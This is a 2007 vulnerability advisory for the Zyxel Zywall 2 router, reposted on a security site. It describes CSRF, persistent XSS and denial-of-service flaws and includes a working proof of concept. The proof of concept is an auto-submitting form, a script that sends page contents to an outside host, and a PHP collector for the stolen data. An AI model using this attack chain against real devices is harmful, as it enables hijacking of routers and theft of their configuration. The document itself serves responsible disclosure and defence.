SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Zyxel Zywall 2 multiple vulnerabilities


Arrow  SecurityAlert : 3002
Arrow  CVE : CVE-2007-4319
Arrow  CVE : CVE-2007-4318
Arrow  CVE : CVE-2007-4317
Arrow  CVE : CVE-2007-4316
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : Yes
Arrow  Exploit Available : Yes
Arrow  Credit : Henri Lindberg
Arrow  Published : 15.08.2007

Arrow  Affected Software : Zyxel Zywall 2



Arrow  Advisory Content :  

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Louhi Networks Oy
-= Security Advisory =-

Advisory: Zyxel Zywall 2 Multiple vulnerabilities
Release Date: 2007-08-10
Last Modified: 2007-08-10
Authors: Henri Lindberg, Associate of (ISC)²
[henri.lindberg (at) louhi (dot) fi [email concealed]]

Application: ZyNOS Firmware Version: V3.62(WK.6) | 06/16/2004
Devices: Zyxel Zywall2 (possibly all other Zyxel devices using
the same firmware)
Severity: Moderate
Impact: Persistent cross site scripting, cross site request
forgery, persistant denial of service
Vendor Status: Vendor notified
References: http://www.louhi.fi/advisory/zyxel_070810.txt

Overview:

During an audit of Zyxel Zywall 2 it was discovered that a cross
site request forgery and persistent cross site scripting
vulnerability exists in the management interface. Thus, it is
possible for an attacker to perform any administrative actions in
the management interface, if a logged-in/authenticated user has been
enticed to visit a malicious web site. These actions include e.g.
changing dns server address or other security critical configuration
items.

It was also discovered that it is possible to "brick" the device by
submitting invalid configuration to the device, thus performing a
persistant denial of service attack against it.

Details:

Embedded device management interface does not validate the origin
of an HTTP request. If attacker is able to make an authenticated
user visit a hostile web page, a device can be controlled by
submitting suitable forms. It is possible to steal information from
the device and modify the configuration. See provided
proof-of-concept code for more information.

Successful attack requires that the attacker knows the management
interface address for the target device. As the management interface
is most usually located at the default IP address and might even have
default password in place, performing an successful attack is not far
fetched.

By submitting invalid configuration to the management interface it is
possible to perform a persistant denial of service attack against the
device. After receiving invalid configuration, the device will reboot
and enter an infinite reboot loop. Powering off the device, or
pressing reset button will not help. It has not been researched if
the device can be restored from this state (it does not have any
reset jumpers or battery powered memory). From an ordinary consumer's
point-of-view, the device is compeletely useless. No proof-of-concept
code will be released, but finding this vulnerability is trivial.

More information:
http://en.wikipedia.org/wiki/Cross-site_request_forgery

Proof of Concept:

Include a random user-specific token in forms.

Example form (exploits persistent XSS):

<html>
<body onload="document.CSRF.submit()">
<FORM name="CSRF" METHOD="POST"
ACTION="http://192.168.1.1/Forms/General_1">
<INPUT NAME="sysSystemName" VALUE="<script src='http://nx.fi/X'>"
<INPUT NAME="sysDomainName" VALUE="evil.com">
<INPUT NAME="StdioTimout" VALUE="0">
<INPUT NAME="sysSubmit" VALUE="Apply">
</form>
</body>
</html>

X:
- ------
document.write("Security Updates - <a
href='http://www.checkpoint.com/'>http://www.zyxel.com</a>");

function getPage(){
i = 0;
data = encodeURIComponent(document.body.innerHTML);

while (i < data.length)
{

tmp = data.substr(i, 4096);
(new Image()).src = "http://nx.fi/xss/getinfo.php?page=" + tmp;
i += 4096;
}

}

setTimeout("getPage()", 1000);
- ------

getinfo.php:
- ------
<?php

$sent = isset($_REQUEST['page']);
$data = "";

if($sent)
{

$data .= "<pre>";
foreach($_REQUEST as $tmp) {
$data .= htmlspecialchars(urldecode($tmp));
}

$data .= "</pre>";

$myfile = "log.html";
$handle = fopen($myfile, 'a');
fwrite($handle, $data);
fclose($handle);

}

?>
- ------

Notice that you 'system name' variable is limited in length, so you'll
need a relatively short URL.

Workaround:

Change administration password and default IP address.
Perform administration using SSH.

Disclosure Timeline:

May 10 2007 - Contacted Zyxel by email
May 11 2007 - Vendor responded by email
June 7 2007 - Vendor stated that this not an urgent issue
June 28 2007 - Provided vendor with a proof-of-concept attack
August 10 2007 - Advisory released

Copyright 2007 Louhi Networks Oy. All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (MingW32)

iEYEAREIAAYFAka8P3UACgkQ3TZNEGeZkm5eGACffzkmceMKroY4VTKxPX/ec5eH
0AsAn1uIxklFttYYlviEOJ42EXP0yTH1
=06kW
-----END PGP SIGNATURE-----





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.